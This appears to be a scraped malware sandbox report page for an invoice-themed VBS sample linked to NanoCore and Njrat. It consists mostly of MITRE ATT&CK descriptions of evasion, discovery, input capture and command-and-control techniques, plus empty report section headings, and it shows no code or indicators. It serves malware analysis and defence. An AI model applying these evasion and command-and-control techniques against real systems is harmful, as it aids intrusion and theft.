Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 3G1J49A6V_Invoice.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: NanoCore

Threatname: Njrat

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

AV Detection:

E-Banking Fraud:

System Summary:

Stealing of Sensitive Information:

Remote Access Functionality:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre